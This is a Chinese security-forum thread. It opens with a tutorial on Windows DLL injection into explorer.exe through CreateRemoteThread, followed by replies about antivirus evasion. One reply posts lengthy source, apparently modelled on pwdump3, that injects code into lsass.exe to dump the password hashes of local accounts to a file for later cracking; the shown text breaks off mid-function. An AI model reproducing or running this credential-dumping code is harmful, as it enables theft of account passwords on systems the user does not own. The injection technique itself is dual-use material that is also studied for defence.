首页
论坛
专栏
课程

[原创]创建远程线程,将代码注入到其它进程中执行

2010-8-24 00:03 19304

[原创]创建远程线程,将代码注入到其它进程中执行

2010-8-24 00:03
19304
最近在学SDK编程,把学习过程中一些认为比较精彩的部分想留下来,第一作为以后复习的资源;第二可以给新学的朋友们一个参考,互相讨论;另外想在看雪里认识一些正在学习DDK驱动开发的朋友,交流一下,应该怎样学习驱动编程!谢谢,话不多说了!
创建远程线程,将代码注入到其他进程中执行
关键知识点如下:
(1)关键API
HANDLE CreateRemoteThread(
  HANDLE hProcess,                          // 目标进程句柄
  LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性
  SIZE_T dwStackSize,                       // 进程堆栈大小
  LPTHREAD_START_ROUTINE lpStartAddress,    // 进程函数
  LPVOID lpParameter,                       // 进程参数
  DWORD dwCreationFlags,                    // 创建标志
  LPDWORD lpThreadId                        // 参数返回ID
);
BOOL WriteProcessMemory(
  HANDLE hProcess,                // 目标进程句柄
  LPVOID lpBaseAddress,           // 目标进程虚拟地址空间的地址
  LPCVOID lpBuffer,               // 需要写入的数据
  SIZE_T nSize,                   // 需要写入数据的大小
  SIZE_T * lpNumberOfBytesWritten // 实际写入数据大小
);
主要就是这两个函数,还有其它一个内存分配的函数如:VirtualAllocEx,VirtualFreeEx等,请读者自行参考MSDN,英文不是我的强项,上面的完全是自己的理解翻译,大牛们不要笑哦!
首先随便写一个DLL了
代码如下:
#include <windows.h>

_declspec(dllexport) DWORD Example(LPSTR szMsg,DWORD dwCode);

/**************************************************
*DllMain
**************************************************/
BOOL WINAPI DllMain(
                                        HANDLE hinst,           //DLL模块句柄
                                        DWORD fdwReason,        //调用情况
                                        LPVOID lpReserved       //reserved
                                        )
{
        //在不同的情况下都会调用DllMain函数,分别处理
        switch(fdwReason)
        {

                //加载DLL
        case DLL_PROCESS_ATTACH:
                {
                        MessageBox(NULL,"DLL加载时调用","Msg.dll",MB_OK);
                        break;
                }
                //新建线程
        case DLL_THREAD_ATTACH:
                break;
                //线程退出
        case DLL_THREAD_DETACH:
                break;
                //释放DLL
        case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
}

/******************************************
*DWORD Example(LPSTR szMsg,DWORD dwCode)
*功能:导出函数,显示消息
*参数:LPSTR szMsg,字符串,DWORD dwCode,整形
*******************************************/
DWORD Example(LPSTR szMsg,DWORD dwCode)
{
        MessageBox(NULL,"由导出函数弹出的消息","导出函数",MB_OK);
        return 0;
}

把生成的DLL放到系统目录下
然后在将DLL代码注入到其它进程中执行,代码如下:
RemoteInject.cpp
#include <windows.h>
#include <winbase.h>
#include <winnt.h>
#include <stdio.h>
#include <Tlhelp32.h>

/***********************************
*BOOL LoadRometeDll(DWORD dwProcessId,LPTSTR lpszLibName)
*功能:通过创建远程线程给其他进程加载DLL
*参数:DWORD dwProcessId 目标进程PID
* LPTSTR lpszLibName Dll的路径
*返回:是否成功
************************************/
BOOL LoadRometeDll(DWORD dwProcessId,LPTSTR lpszLibName)
{       
        BOOL bResult = FALSE;
        HANDLE hProcess = NULL;
        HANDLE hThread = NULL;
        PSTR pszLibFileRemote = NULL;
        DWORD cch;
       
        PTHREAD_START_ROUTINE pfnThreadRtn;
        _try
        {
                //获得想要注入代码的进程的句柄
                hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessId);
                if (hProcess == NULL)
                        _leave;
                //计算DLL路径名需要的字节数
                cch = 1 + strlen(lpszLibName);
                //在远程线程中为路径名分配空间
                pszLibFileRemote = (PSTR)VirtualAllocEx(
                        hProcess,
                        NULL,
                        cch,
                        MEM_COMMIT,
                        PAGE_READWRITE
                        );
                if (pszLibFileRemote == NULL)
                        _leave;
                //将DLL的路径名复制到远程进程的内存空间
                if (!WriteProcessMemory(
                        hProcess,
                        (PVOID)pszLibFileRemote,
                        (PVOID)lpszLibName,
                        cch,
                        NULL
                        ))
                        _leave;
                //获得LoadLibraryA在Kernel32.dll中的真正地址
                pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(
                        GetModuleHandle(TEXT("Kernel32")),TEXT("LoadLibraryA"));
                if (pfnThreadRtn == NULL)
                        _leave;
                //创建远程线程,并通过远程线程调用用户的DLL文件
                hThread = CreateRemoteThread(hProcess,NULL,0,pfnThreadRtn,(LPVOID)pszLibFileRemote,0,NULL);
                if (hThread == NULL)
                        _leave;
                //等待远程线程终止
                WaitForSingleObject(hThread,INFINITE);
                bResult = TRUE;
        }
        _finally
        {
                //关闭句柄
                if (pszLibFileRemote != NULL)
                        VirtualFreeEx(hProcess,(PVOID)pszLibFileRemote,0,MEM_RELEASE);
                if (hThread != NULL)
                        CloseHandle(hThread);
                if (hProcess != NULL)
                        CloseHandle(hProcess);
        }
        return bResult;
}

/*********************************************************
*EnablePrivilege修改进程的权限
*********************************************************/
BOOL EnablePrivilege(LPSTR name)
{
        HANDLE hToken;
        BOOL rv;
        TOKEN_PRIVILEGES priv = {1,{0,0,SE_PRIVILEGE_ENABLED}};
        LookupPrivilegeValue(0,name,&priv.Privileges[0].Luid);
        OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
        AdjustTokenPrivileges(hToken,FALSE,&priv,sizeof priv,0,0);
        rv = GetLastError() == ERROR_SUCCESS;
        CloseHandle(hToken);
        return rv;
}

/*********************************************************
*BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)
*功能:通过进程名获取进程PID
*参数:LPSTR szProcessName 进程名
           LPDWORD lpPID       指向保存PID的变量
*返回是否成功
**********************************************************/
BOOL GetProcessIdByName(LPSTR szProcessName,LPDWORD lpPID)
{
        //变量及初始化
        STARTUPINFO st;
        PROCESS_INFORMATION pi;
        PROCESSENTRY32 ps;
        HANDLE hSnapshot;
        ZeroMemory(&st,sizeof(STARTUPINFO));
        ZeroMemory(&pi,sizeof(PROCESS_INFORMATION));
        st.cb = sizeof(STARTUPINFO);
        ZeroMemory(&ps,sizeof(PROCESSENTRY32));
        ps.dwSize = sizeof(PROCESSENTRY32);
        //遍历进程
        hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        if (hSnapshot == INVALID_HANDLE_VALUE)
        {
                return FALSE;
        }
        if (!Process32First(hSnapshot,&ps))
        {
                return FALSE;
        }

        do
        {
                //比较进程名
                if (lstrcmpi(ps.szExeFile,"explorer.exe") == 0)
                {
                        //找到了
                        *lpPID = ps.th32ProcessID;
                        CloseHandle(hSnapshot);
                        return TRUE;
                }
        } while (Process32Next(hSnapshot,&ps));
        //没有找到
        CloseHandle(hSnapshot);
        return FALSE;
}
/*********************************************************
*WinMain
**********************************************************/
int WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
{
        DWORD dwPID;
        //授权,获取SE_DEBUG_NAME权限
        //可以在其他进程的内存空间中写入,创建进程
        if (0!=EnablePrivilege(SE_DEBUG_NAME))
                return 0;
        //获取目录进程PID
        if (!GetProcessIdByName("explorer.exe",&dwPID))
                return 0;
        //通过创建远程线加载DLL
        //将msg.dll放置在系统目录下
        if (!LoadRometeDll(dwPID,"msg.dll"))
                return 0;
        return 1;
}
代码参考《精通Window API函数接口实例编程》,就这样一个完整的代码注入的例如就完成了有兴趣的同学可以修改上面的上码,可以实现很多功能,那个DLL你想怎么写就怎么写,你可以把你的DLL写入飞机大炮都行,呵呵,随你喜欢,反正基本框架就这样了,好了,不早就今天说到这了,明天见!!

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最新回复 (21)
liein 2010-8-24 10:58
2
0
不行了 现在杀软越来越**了 楼主的代码虽然没恶意思,或根本不是干坏事的,但杀软就说危险............. 提示用户,让我们感觉到世界并不自由,除非裸奔
dayang 2010-8-24 11:57
3
0
360会说你这个是病毒的,呵呵
kagayaki 2010-8-24 13:16
4
0
不错, 很认真, 支持一下!!!!!!!!
sudami 25 2010-8-24 15:09
5
0
飞机大炮
wujimaa 1 2010-8-24 15:27
6
0
不错,dll注入
抢得乐 2010-8-24 16:35
7
0
楼主加油,争取所有杀软和hips都不报
stu 2010-8-24 17:31
8
0
路过,打酱油的。
Fypher 4 2010-8-25 10:24
9
0
绕不开ASLR,LoadLibraryA的地址这么找过时了。
SunV 2010-8-26 12:11
10
0
又是注入
mszjk 2010-8-26 12:38
11
0
才3点啊,不是挺早的么~
dayang 2010-8-28 18:57
12
0
我发现以CREATE_SUSPENDED参数CreateProcess的进程后,再插DLL,不用ResumeThread,被插进程中的DLL一样能正常运行
ywqjwq 2010-8-30 21:56
13
0
BOOL EnablePrivilege(LPSTR name)    怎么我查不到EnablePrivilege这个api相关的参数。。大牛见笑了//初学windows编程.谢谢
熊猫正正 9 2010-9-1 15:36
14
0
刚才看到看雪大哥把此帖批为精华,其实内容很一般,技术也就凑合的看,完全是自己的学习总结,多谢看雪大哥的鼓励,其实很想发表几篇汇编方面的文章,就是看到玩命的文章我就不敢了,怕发出来被牛人笑,以后等小弟学精通了,也开个专题,哈哈~~
叁毛 1 2010-10-10 19:41
15
0
代码风格不错。
jgaoabc 1 2010-10-10 23:00
16
0
很多杀毒软件都把CreateRemoteThread看的死死的,因为基本上所有的远程控制都采用这个方法躲避防火墙实现上线,应该研究下其他的方法了。
lankerr 2010-10-12 20:42
17
0
那我也发个吧,仿pwdump3(反汇编)写的,导出登陆密码的hash,然后用LC4解出密码,被360偷偷上传后报毒了....代码有点长样

#include "stdafx.h"
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winnt.h>
#include <tlhelp32.h>
#include <ntsecapi.h>
////////////////////////////////////////////////
typedef DWORD HUSER;
typedef DWORD HSAM;
typedef DWORD HDOMAIN;
typedef DWORD HUSER;
typedef struct _sam_user_info
{
    DWORD rid;
    LSA_UNICODE_STRING name;
} SAM_USER_INFO;
typedef struct _sam_user_enum
{
    DWORD count;
    SAM_USER_INFO *users;
}SAM_USER_ENUM;
#define SAM_USER_INFO_PASSWORD_OWFS 0x12
///////////////////////////////////////////////
//-------------------------------------
//                全局函数
//自定义线程中使用的函数
//-----------samsrv.dll----------------
typedef NTSTATUS (WINAPI *MSamIConnect) (DWORD, HSAM*, DWORD, DWORD);
typedef NTSTATUS (WINAPI *MSamrOpenDomain) (HSAM, DWORD dwAccess, PSID, HDOMAIN*);
typedef NTSTATUS (WINAPI *MSamrOpenUser) (HDOMAIN, DWORD dwAccess, DWORD, HUSER*);
typedef NTSTATUS (WINAPI *MSamrEnumerateUsersInDomain) (HDOMAIN, DWORD*, DWORD, SAM_USER_ENUM**, DWORD, PVOID);
typedef NTSTATUS (WINAPI *MSamrQueryInformationUser) (HUSER, DWORD, PVOID);
typedef HLOCAL   (WINAPI *MSamIFree_SAMPR_USER_INFO_BUFFER) (PVOID, DWORD);
typedef HLOCAL   (WINAPI *MSamIFree_SAMPR_ENUMERATION_BUUFER) (SAM_USER_ENUM*);
typedef NTSTATUS (WINAPI *MSamrCloseHandle) (DWORD*);
//----------User32.dll-----------------
typedef int (WINAPI *MwsprintfA)(LPTSTR,LPCTSTR,...);//定义wsprintf函数
typedef int (WINAPI *MMessageBoxA)(HWND,LPCTSTR,LPCTSTR,DWORD);//定义MessageBox函数
//----------Kernel32.dll---------------
typedef int (WINAPI *MWideCharToMultiByte)(UINT,DWORD,LPCWSTR,int,LPSTR,int,LPCSTR,LPBOOL);
typedef HANDLE (WINAPI *MCreateFileA)(LPCTSTR,DWORD,DWORD,LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE);
typedef        BOOL (WINAPI *MWriteFile)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLAPPED);
typedef BOOL (WINAPI *MCloseHandle)(HANDLE);
typedef DWORD (WINAPI *MGetLastError)(void);
//----------Advapi32.dll---------------
typedef NTSTATUS (WINAPI *MLsaOpenPolicy)(IN PLSA_UNICODE_STRING,IN PLSA_OBJECT_ATTRIBUTES,IN ACCESS_MASK,IN OUT PLSA_HANDLE);
typedef NTSTATUS (WINAPI *MLsaQueryInformationPolicy)(IN LSA_HANDLE,IN POLICY_INFORMATION_CLASS,OUT PVOID);
typedef NTSTATUS (WINAPI *MLsaClose)(IN LSA_HANDLE);
DWORD        GetLsassPID();
LPSTR        GetErrorCode(int code);
void        InjectThread();
//-------------------------------------

//****************************
//
//        传递线程参数
//
//****************************
typedef struct ThreadParam
{
        //变量定义
        TCHAR        FileName[256];
        TCHAR        UserIDFormat[256];
        TCHAR        temp[32];
        TCHAR        format[256];
        TCHAR        format1[2];
        TCHAR        format2[5];
        TCHAR        format3[256];
        TCHAR        Msg[MAX_PATH];
        TCHAR        szUserName[256];
        HANDLE        hFile;
        DWORD        dwSize;
        unsigned char *hash;

        LSA_OBJECT_ATTRIBUTES attributes;
        PLSA_UNICODE_STRING pSysName;
        LSA_HANDLE hLsa;
        POLICY_ACCOUNT_DOMAIN_INFO* pDomainInfo;
        HSAM        hSam;
        HDOMAIN hDomain;
        NTSTATUS enumRc;
        SAM_USER_ENUM *pEnum;
        HUSER        hUser;
        unsigned  hashData[8];
        DWORD        hsSize;
        PVOID        pHashData;
        DWORD        dwEnum;
        DWORD        dwNumber;
        int                i;
        TCHAR        magic;
        unsigned j;
        unsigned carrybit;
        //User32.dll库函数指针
        DWORD        dwMessageBox;
        DWORD        pwsprintfA;
        //Kernel32.dll库函数指针
        DWORD        pWideCharToMultiByte;
        DWORD        pCreateFileA;
        DWORD        pWriteFile;
        DWORD        pCloseHandle;
        DWORD        pGetLastError;
        //Advapi32.dll库函数指针
        DWORD        pLsaOpenPolicy;
        DWORD        pLsaQueryInformationPolicy;
        DWORD        pLsaClose;
        //Samsrv.dll库函数指针
        DWORD        pSamIConnect;
        DWORD        pSamrOpenDomain;
        DWORD        pSamrOpenUser;
        DWORD        pSamrQueryInformationUser;
        DWORD        pSamrEnumerateUsersInDomain;
        DWORD        pSamIFree_SAMPR_USER_INFO_BUFFER;
        DWORD        pSamIFree_SAMPR_ENUMERATION_BUFFER;
        DWORD        pSamrCloseHandle;
}ThreadParam;
//*********************************************
//                                远程线程函数
//*********************************************
DWORD __stdcall ThreadProc(ThreadParam *lp)
{
        //定义函数名
        MMessageBoxA _MessageBoxA;
        MwsprintfA        _wsprintfA;
        MWideCharToMultiByte        _WideCharToMultiByte;
        MCreateFileA        _CreateFileA;
        MWriteFile        _WriteFile;
        MCloseHandle        _CloseHandle;
        MGetLastError        _GetLastError;
        MLsaOpenPolicy _LsaOpenPolicy;
        MLsaQueryInformationPolicy _LsaQueryInformationPolicy;
        MLsaClose        _LsaClose;
        MSamIConnect        _SamIConnect;
        MSamrOpenDomain        _SamrOpenDomain;
        MSamrOpenUser        _SamrOpenUser;
        MSamrEnumerateUsersInDomain        _SamrEnumerateUsersInDomain;
        MSamrQueryInformationUser        _SamrQueryInformationUser;
        MSamIFree_SAMPR_USER_INFO_BUFFER        _SamIFree_SAMPR_USER_INFO_BUFFER;
        MSamIFree_SAMPR_ENUMERATION_BUUFER        _SamIFree_SAMPR_ENUMERATION_BUFFER;
        MSamrCloseHandle        _SamrCloseHandle;
        //取函数入口地址
        _MessageBoxA=(MMessageBoxA)lp->dwMessageBox;
        _wsprintfA=(MwsprintfA)lp->pwsprintfA;
        _WideCharToMultiByte=(MWideCharToMultiByte)lp->pWideCharToMultiByte;
        _CreateFileA=(MCreateFileA)lp->pCreateFileA;
        _WriteFile=(MWriteFile)lp->pWriteFile;
        _CloseHandle=(MCloseHandle)lp->pCloseHandle;
        _GetLastError=(MGetLastError)lp->pGetLastError;
        _LsaOpenPolicy=(MLsaOpenPolicy)lp->pLsaOpenPolicy;
        _LsaQueryInformationPolicy=(MLsaQueryInformationPolicy)lp->pLsaQueryInformationPolicy;
        _LsaClose=(MLsaClose)lp->pLsaClose;
        _SamIConnect=(MSamIConnect)lp->pSamIConnect;
        _SamrOpenDomain=(MSamrOpenDomain)lp->pSamrOpenDomain;
        _SamrOpenUser=(MSamrOpenUser)lp->pSamrOpenUser;
        _SamrEnumerateUsersInDomain=(MSamrEnumerateUsersInDomain)lp->pSamrEnumerateUsersInDomain;
        _SamrQueryInformationUser=(MSamrQueryInformationUser)lp->pSamrQueryInformationUser;
        _SamIFree_SAMPR_USER_INFO_BUFFER=(MSamIFree_SAMPR_USER_INFO_BUFFER)lp->pSamIFree_SAMPR_USER_INFO_BUFFER;
        _SamIFree_SAMPR_ENUMERATION_BUFFER=(MSamIFree_SAMPR_ENUMERATION_BUUFER)lp->pSamIFree_SAMPR_ENUMERATION_BUFFER;
        _SamrCloseHandle=(MSamrCloseHandle)lp->pSamrCloseHandle;
       
        lp->hFile=_CreateFileA(lp->FileName,
                0xc0000000,//GENERIC_READ | GENERIC_WRITE
                0,
                NULL,
                0x02,//CREATE_ALWAYS
                0x80,//FILE_ATTRIBUTE_NORMAL
                NULL);

        _LsaOpenPolicy(lp->pSysName,
                &lp->attributes,
                POLICY_ALL_ACCESS,
                &lp->hLsa);
        _LsaQueryInformationPolicy(lp->hLsa,
                PolicyAccountDomainInformation,
                (void **)&lp->pDomainInfo);
        _SamIConnect(0,
                &lp->hSam,
                MAXIMUM_ALLOWED,
                1);
        _SamrOpenDomain(lp->hSam,
                0xf07ff,
                lp->pDomainInfo->DomainSid,
                &lp->hDomain);
        do
        {
                lp->enumRc=_SamrEnumerateUsersInDomain(lp->hDomain,&lp->dwEnum,0,&lp->pEnum,1000,&lp->dwNumber);
                if(lp->enumRc==0||lp->enumRc==0x105)
                {
                        for(lp->i=0;lp->i<(int)lp->dwNumber;lp->i++)
            {
                                memset(lp->szUserName,0,sizeof(lp->szUserName));
                                // Open the user (by Rid)
                                _SamrOpenUser(lp->hDomain,
                                        MAXIMUM_ALLOWED,
                                        lp->pEnum->users[lp->i].rid,
                                        &lp->hUser);
                                // Get the password OWFs
                                _SamrQueryInformationUser(lp->hUser,
                                        SAM_USER_INFO_PASSWORD_OWFS,
                                        &lp->pHashData);
                                lp->hsSize=min(sizeof(lp->szUserName),lp->pEnum->users[lp->i].name.Length>>1);
                                _WideCharToMultiByte(CP_ACP,
                                        0,
                                        lp->pEnum->users[lp->i].name.Buffer,
                                        -1,
                                        lp->szUserName,
                                        lp->hsSize,
                                        NULL,
                                        NULL);
                                //写用户名及ID号
                                _wsprintfA(lp->szUserName,lp->UserIDFormat,lp->szUserName,lp->pEnum->users[lp->i].rid);
                                _WriteFile(lp->hFile,lp->szUserName,strlen(lp->szUserName),&lp->dwSize,NULL);
//                                memcpy(lp->hashData, lp->pHashData,32);
//                                for(lp->j=0;lp->j<32;lp->j++)
//                                {
//                                        lp->carrybit=(lp->magic & 0x00000001) ? 0x80000000 : 0;
//                                        lp->hashData ^= lp->magic;
//                                        lp->magic >>= 1;
//                                        lp->magic |= lp->carrybit;
//                                        lp->hashData++;
//                                }
                                //写散列(转换为如BillG:1010:5ECD9236D21095CE7584248B8D2C9F9E:C04EB42B9F5B114C86921C4163AEB5B1:::模式)
                                memset(lp->temp,0,sizeof(lp->temp));
                                lp->hash=(unsigned char *)lp->pHashData+16;
                                _wsprintfA(lp->temp,lp->format3,
                                        lp->hash[0],
                                        lp->hash[1],
                                        lp->hash[2],
                                        lp->hash[3],
                                        lp->hash[4],
                                        lp->hash[5],
                                        lp->hash[6],
                                        lp->hash[7],
                                        lp->hash[8],
                                        lp->hash[9],
                                        lp->hash[10],
                                        lp->hash[11],
                                        lp->hash[12],
                                        lp->hash[13],
                                        lp->hash[14],
                                        lp->hash[15]);
                                _WriteFile(lp->hFile,lp->temp,32,&lp->dwSize,NULL);
                                _WriteFile(lp->hFile,lp->format1,1,&lp->dwSize,NULL);//写":"
                                memset(lp->temp,0,sizeof(lp->temp));
                                lp->hash=(unsigned char *)lp->pHashData;
                                _wsprintfA(lp->temp,lp->format3,
                                        lp->hash[0],
                                        lp->hash[1],
                                        lp->hash[2],
                                        lp->hash[3],
                                        lp->hash[4],
                                        lp->hash[5],
                                        lp->hash[6],
                                        lp->hash[7],
                                        lp->hash[8],
                                        lp->hash[9],
                                        lp->hash[10],
                                        lp->hash[11],
                                        lp->hash[12],
                                        lp->hash[13],
                                        lp->hash[14],
                                        lp->hash[15]);
                                _WriteFile(lp->hFile,lp->temp,32,&lp->dwSize,NULL);
                                _WriteFile(lp->hFile,lp->format2,sizeof(lp->format2),&lp->dwSize,NULL);
                                _SamIFree_SAMPR_USER_INFO_BUFFER(lp->pHashData,
                                        SAM_USER_INFO_PASSWORD_OWFS);
                                lp->pHashData=0;
                                _SamrCloseHandle(&lp->hUser);
                                lp->hUser=0;
                        }
                        _SamIFree_SAMPR_ENUMERATION_BUFFER(lp->pEnum);
                        lp->pEnum=NULL;
                }
        }while(lp->enumRc==0x105);
        _SamrCloseHandle(&lp->hUser);
        _SamrCloseHandle(&lp->hDomain);
        _SamrCloseHandle(&lp->hSam);
        _LsaClose(lp->hLsa);
        _CloseHandle(lp->hFile);
        return 0;
}
//=============================================
//
//                                提升进程权限
// hProcess [in] : 要提升的进程,目标进程
// lpPrivilegeName [in] : 要提升到的特权,目标特权
// 返回值 : TRUE : 成功; FALSE : 失败
//
//=============================================
BOOL UpdateProcessPrivilege(HANDLE hProcess,LPCTSTR lpPrivilegeName=SE_DEBUG_NAME)
{
        HANDLE hToken;
        if(::OpenProcessToken(hProcess,TOKEN_ALL_ACCESS,&hToken))
        {
                LUID destLuid;
                if(::LookupPrivilegeValue(NULL,lpPrivilegeName,&destLuid))
                {
                        TOKEN_PRIVILEGES TokenPrivileges;
                        TokenPrivileges.PrivilegeCount = 1;
                        TokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                        TokenPrivileges.Privileges[0].Luid = destLuid;
                        int iResult;
                        if(iResult=::AdjustTokenPrivileges(hToken,FALSE,&TokenPrivileges,0,NULL,NULL))
                        {
                                return TRUE;
                        }
                }
        }
        return FALSE;
}
//=============================================
//                        得到LSASS.EXE进程ID
//失败返回:0
//成功返回:LSASS进程ID
//
//=============================================
DWORD GetLsassPID()
{
        HANDLE hProcessSnap;
        HANDLE hProcess = NULL;
        PROCESSENTRY32 pe32;
        DWORD PID = 0;
        hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if(hProcessSnap == INVALID_HANDLE_VALUE )
        {
                printf("调用CreateToolhelp32Snapshot函数失败:%s\n",GetErrorCode(::GetLastError()));
                return 0;
        }
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if(!Process32First(hProcessSnap, &pe32))
        {
                CloseHandle(hProcessSnap);     // Must clean up the snapshot object!
                return 0;
        }
        do
        {
                if(strcmpi(pe32.szExeFile,"LSASS.EXE")==0)
                {
                        PID = pe32.th32ProcessID;
                        printf("lsass.exe的PID:%d\n",PID);
                        break;
                }
        }while(Process32Next( hProcessSnap, &pe32));
        CloseHandle( hProcessSnap);
        return PID;
}
//=============================================
//                        获得错误代码具体内容
//成功返回:错误代码的消息内容
//
//=============================================
LPSTR GetErrorCode(int code)
{
        int     nErrorCode;
        TCHAR        strErrorMessage[1024];
        LPVOID  lpMsgBuf;
        TCHAR   buf[512];

        lpMsgBuf=LocalLock(LocalAlloc(LMEM_MOVEABLE|LMEM_ZEROINIT,1000));
        if(lpMsgBuf==NULL)
        {
                printf("内存分配失败!");
                exit(1);
        }
    nErrorCode=code;
        SetLastError(nErrorCode);
        FormatMessage(
                FORMAT_MESSAGE_ALLOCATE_BUFFER|
                FORMAT_MESSAGE_FROM_SYSTEM|
                FORMAT_MESSAGE_IGNORE_INSERTS,
                NULL,
                GetLastError(),
                MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT), // Default language
                (LPTSTR) &lpMsgBuf,
                0,
                NULL);
        ::wsprintf(strErrorMessage,"%s",lpMsgBuf);
//        strErrorMessage=(LPCTSTR)lpMsgBuf;
        if(strErrorMessage=="")
        {
                printf("未知错误!");
        }
        else
        {
//                msg=strErrorMessage;
        }
        LocalFree(lpMsgBuf);
        wsprintf(buf,"%s",strErrorMessage);
        return buf;
}
//=============================================
//                                全局函数
//                        初始化远程线程参数
//
//=============================================
void InitThreadParam(ThreadParam *tp)
{
        //结构清零
        ::ZeroMemory(tp,sizeof(tp));
        strcpy(tp->Msg,"你好!线程嵌入成功!\0");
        strcpy(tp->format,"错误代码:%d 地址:%08X 地址:%08X\n");
        strcpy(tp->UserIDFormat,"%s:%d:");
        strcpy(tp->format1,":");
        wsprintf(tp->format2,":::%c%c",0x0d,0x0a);
        strcpy(tp->format3,"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X");
        //取User32.dll函数
        HINSTANCE hUser32=::LoadLibrary("user32.dll");
        tp->pwsprintfA=(DWORD)::GetProcAddress(hUser32,"wsprintfA");
        tp->dwMessageBox=(DWORD)::GetProcAddress(hUser32,"MessageBoxA");
        //取Kernel32.dll函数
        HINSTANCE hKernel32=::LoadLibrary("Kernel32.dll");
        tp->pWideCharToMultiByte=(DWORD)::GetProcAddress(hKernel32,"WideCharToMultiByte");
        tp->pCreateFileA=(DWORD)::GetProcAddress(hKernel32,"CreateFileA");
        tp->pWriteFile=(DWORD)::GetProcAddress(hKernel32,"WriteFile");
        tp->pCloseHandle=(DWORD)::GetProcAddress(hKernel32,"CloseHandle");
        tp->pGetLastError=(DWORD)::GetProcAddress(hKernel32,"GetLastError");
        //取Advapi32.dll函数
        HINSTANCE hAdvapi32=::LoadLibrary("Advapi32.dll");
        tp->pLsaOpenPolicy=(DWORD)::GetProcAddress(hAdvapi32,"LsaOpenPolicy");
        tp->pLsaQueryInformationPolicy=(DWORD)::GetProcAddress(hAdvapi32,"LsaQueryInformationPolicy");
        tp->pLsaClose=(DWORD)::GetProcAddress(hAdvapi32,"LsaClose");
        //取Samsrv.dll函数
        HINSTANCE hSamsrv;
        hSamsrv=LoadLibrary("samsrv.dll");
        tp->pSamIConnect=(DWORD)GetProcAddress(hSamsrv,"SamIConnect");
        tp->pSamrOpenDomain=(DWORD)GetProcAddress(hSamsrv,"SamrOpenDomain");
        tp->pSamrOpenUser=(DWORD)GetProcAddress(hSamsrv,"SamrOpenUser");
        tp->pSamrQueryInformationUser=(DWORD)GetProcAddress(hSamsrv,"SamrQueryInformationUser");
        tp->pSamrEnumerateUsersInDomain=(DWORD)GetProcAddress(hSamsrv,"SamrEnumerateUsersInDomain");
        tp->pSamIFree_SAMPR_USER_INFO_BUFFER=(DWORD)GetProcAddress(hSamsrv,"SamIFree_SAMPR_USER_INFO_BUFFER");
        tp->pSamIFree_SAMPR_ENUMERATION_BUFFER=(DWORD)GetProcAddress(hSamsrv,"SamIFree_SAMPR_ENUMERATION_BUFFER");
        tp->pSamrCloseHandle=(DWORD)GetProcAddress(hSamsrv,"SamrCloseHandle");
        if(!tp->pSamIConnect || !tp->pSamrOpenDomain || !tp->pSamrOpenUser || !tp->pSamrQueryInformationUser
                || !tp->pSamrEnumerateUsersInDomain || !tp->pSamIFree_SAMPR_USER_INFO_BUFFER
                || !tp->pSamIFree_SAMPR_ENUMERATION_BUFFER || !tp->pSamrCloseHandle)
        {
                printf("获取samsrv.dll库函数失败:%s",GetErrorCode(GetLastError()));
                if(hSamsrv)
                        FreeLibrary(hSamsrv);
        }
        //初始化变量
        memset(&tp->attributes,0,sizeof(LSA_OBJECT_ATTRIBUTES));
    tp->attributes.Length = sizeof(LSA_OBJECT_ATTRIBUTES);

        //获取计算机名
        TCHAR        ComName[MAX_COMPUTERNAME_LENGTH+1];
        DWORD        dwSize=256;
        TCHAR        Name[MAX_PATH];
        TCHAR        FileName[MAX_PATH];
        BOOL        Flag=true;
        GetCurrentDirectory(MAX_PATH,Name);
        //获取应用程序所在目录
        GetModuleFileName(NULL,Name,MAX_PATH);
        GetComputerName(ComName,&dwSize);
        int i=strlen(Name);
        while(Flag)
        {
                i--;
                if(Name[i]=='\\')
                {
                        Name[i+1]='\0';
                        Flag=false;
                }
       
        }
        wsprintf(FileName,"%s%s.txt",Name,ComName);
        printf("创建文件名:〖%s〗\n",FileName);
        strcpy(tp->FileName,FileName);

        tp->hash=NULL;
        tp->magic=NULL;
        tp->pHashData=0;
        tp->hUser=0;
        tp->i=0;
        tp->pEnum=NULL;
        tp->dwEnum=0;
        tp->hDomain=0;
        tp->hSam=0;
        tp->hFile=NULL;
        tp->pSysName=NULL;
        tp->hLsa=0;
        //释放库
        if(hAdvapi32)
                FreeLibrary(hAdvapi32);
        if(hUser32)
                FreeLibrary(hUser32);
        if(hKernel32)
                FreeLibrary(hKernel32);
        if(hSamsrv)
                FreeLibrary(hSamsrv);
        return;
}
//=============================================
//=============================================
//                                插入远程线程
//将函数体ThreadProc及其参数插入到LSASS进程中
//
//=============================================
void InjectThread()
{
        //暂定线程体大小为4K
        const   DWORD THREADSIZE=1024*10;
        HANDLE lsasshWnd=::OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,//无限制访问
                FALSE,
                GetLsassPID());                                                        //进程ID
        if(lsasshWnd==NULL)
        {
                printf("打开进程错%d:%s\n",GetLastError(),GetErrorCode(GetLastError()));
                return;
        }
        DWORD        ReAddr = NULL;
        //为远程线程执行体分配内存
        void * ThreadAddr=::VirtualAllocEx(lsasshWnd,
                0,
                THREADSIZE,
                MEM_COMMIT|MEM_RESERVE,
                PAGE_EXECUTE_READWRITE);
        if(ThreadAddr==NULL)
        {
                printf("分配远程进程内存失败%d:%s\n",GetLastError(),GetErrorCode(GetLastError()));
                return;
        }
        printf("远程线程地址:%08X\n",ThreadAddr);
        //写线程执行体到远程进程
        if(!::WriteProcessMemory(lsasshWnd,ThreadAddr,&ThreadProc,THREADSIZE,0))
        {
